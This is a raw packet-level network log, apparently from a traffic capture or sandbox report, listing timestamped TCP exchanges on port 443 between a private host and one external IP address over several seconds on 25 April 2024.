Apr 25, 2024 21:45:14.649832964 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.649854898 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.649873018 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.650408983 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.654042006 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.654129982 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.654999971 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.655184984 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.655189037 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.655381918 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.700118065 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.700123072 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.883936882 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.883956909 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.884028912 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.884033918 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.884135008 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.885376930 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.885391951 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.895347118 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.895379066 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.895437956 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.895442009 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.895489931 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.896560907 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.896569014 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.900017977 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.900115013 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.900202990 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.900476933 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.900513887 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.902477026 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.902507067 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.902602911 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.902755976 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.902769089 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.159858942 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.160418034 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.160536051 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.160595894 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.160815001 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.160872936 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.160959005 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.161278963 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.161344051 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.161545992 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.162072897 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.163033962 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.163224936 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.163800955 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.208112001 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.208127975 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.417118073 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.417143106 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.417201996 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.417221069 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.417237997 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.417269945 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.419461012 CEST	49774	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.419471025 CEST	443	49774	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.422164917 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.422184944 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.422243118 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.422262907 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.422292948 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.428205013 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.428236008 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.428309917 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.428730011 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.428759098 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.428967953 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.429272890 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.429287910 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.429578066 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.429589987 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.429828882 CEST	49775	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.429836035 CEST	443	49775	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.686534882 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.686839104 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.686894894 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.687227964 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.687870979 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.687931061 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.688023090 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.699202061 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.699500084 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.699522018 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.700782061 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.701354027 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.701468945 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.701539040 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.732106924 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.780700922 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.816387892 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.942445993 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.942467928 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.942476988 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.942544937 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.942545891 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.942586899 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.944034100 CEST	49777	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.944046021 CEST	443	49777	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964324951 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964399099 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964418888 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964437008 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964447021 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.964464903 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964481115 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964487076 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.964524031 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.964530945 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964643955 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.964684963 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.967751026 CEST	49776	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.967765093 CEST	443	49776	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.975924015 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.975960970 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.976011992 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.976346016 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.976361990 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.977543116 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.977559090 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:15.977725029 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.978087902 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:15.978095055 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.241027117 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.241348028 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.241380930 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.242501020 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.242922068 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.243124962 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.243380070 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.244858980 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.245157957 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.245186090 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.245798111 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.246167898 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.246167898 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.246184111 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.246298075 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.288114071 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.319109917 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.334778070 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.499258995 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.499283075 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.499289989 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.499316931 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.499330997 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.499366999 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.499399900 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.499430895 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.501249075 CEST	49779	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.501257896 CEST	443	49779	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510199070 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510225058 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510235071 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510250092 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510258913 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510310888 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.510333061 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510345936 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.510356903 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.510454893 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.513253927 CEST	49778	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.513277054 CEST	443	49778	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.519750118 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.519752026 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.519783020 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.519783020 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.519857883 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.519857883 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.520200968 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.520211935 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.520422935 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.520433903 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.776750088 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.793706894 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.795984030 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.796055079 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.796160936 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.796190023 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.796603918 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.796607018 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.804778099 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.804838896 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.805257082 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.805362940 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.806289911 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.806366920 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:16.848151922 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:16.852111101 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.032612085 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.032644987 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.032676935 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.032704115 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:17.032740116 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.032756090 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.032766104 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:17.032808065 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:17.064500093 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.064558983 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.064640045 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:17.064670086 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.064713955 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:17.064727068 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:17.064774990 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.349754095 CEST	49780	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.349822998 CEST	443	49780	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:18.350178957 CEST	49781	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.350203037 CEST	443	49781	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:18.756345034 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.756445885 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:18.758188963 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.759109974 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.759143114 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:18.785260916 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.785299063 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:18.789437056 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.821126938 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:18.821155071 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.029244900 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.037880898 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.037906885 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.039223909 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.045104027 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.045255899 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.045263052 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.045300007 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.090645075 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.130748034 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.132646084 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.132654905 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.133960962 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.140086889 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.179588079 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.295205116 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.295272112 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.295295954 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.295332909 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.295346022 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.295351028 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.295417070 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.295468092 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.295468092 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.295557022 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.295608997 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.617011070 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.617347956 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.631824017 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.672152042 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.766937971 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.766985893 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.767045975 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.767060041 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.767102003 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:19.767149925 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:19.767199993 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.114864111 CEST	49783	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.114897013 CEST	443	49783	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.115513086 CEST	49782	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.115561008 CEST	443	49782	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.555279016 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.555365086 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.555531979 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.567737103 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.567763090 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.583853006 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.583894014 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.587419987 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.590136051 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.590152979 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.836236954 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.846136093 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.846163988 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.847429037 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.847779036 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.848790884 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.848793030 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.848803043 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.848989964 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.849298000 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.849325895 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.849858999 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.849936962 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.850083113 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:20.892117977 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:20.892118931 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.096268892 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.096327066 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.096487999 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:21.096513033 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.096534014 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.096585989 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:21.104696989 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.104754925 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.104813099 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.104831934 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:21.104887009 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.104923010 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:21.104959965 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:21.105016947 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.205367088 CEST	49784	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.205441952 CEST	443	49784	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:22.205845118 CEST	49785	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.205924034 CEST	443	49785	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:22.865916014 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.866014004 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:22.866115093 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.867935896 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.867971897 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:22.957729101 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.957803011 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:22.958010912 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.958251953 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:22.958283901 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.136879921 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.222563028 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.263029099 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.325964928 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.366554022 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.366601944 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.366935015 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.366959095 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.368161917 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.368376017 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.368719101 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.368931055 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.369189978 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.369385958 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.369420052 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.369477987 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.412126064 CEST	443	49787	69.164.216.107	192.168.2.5
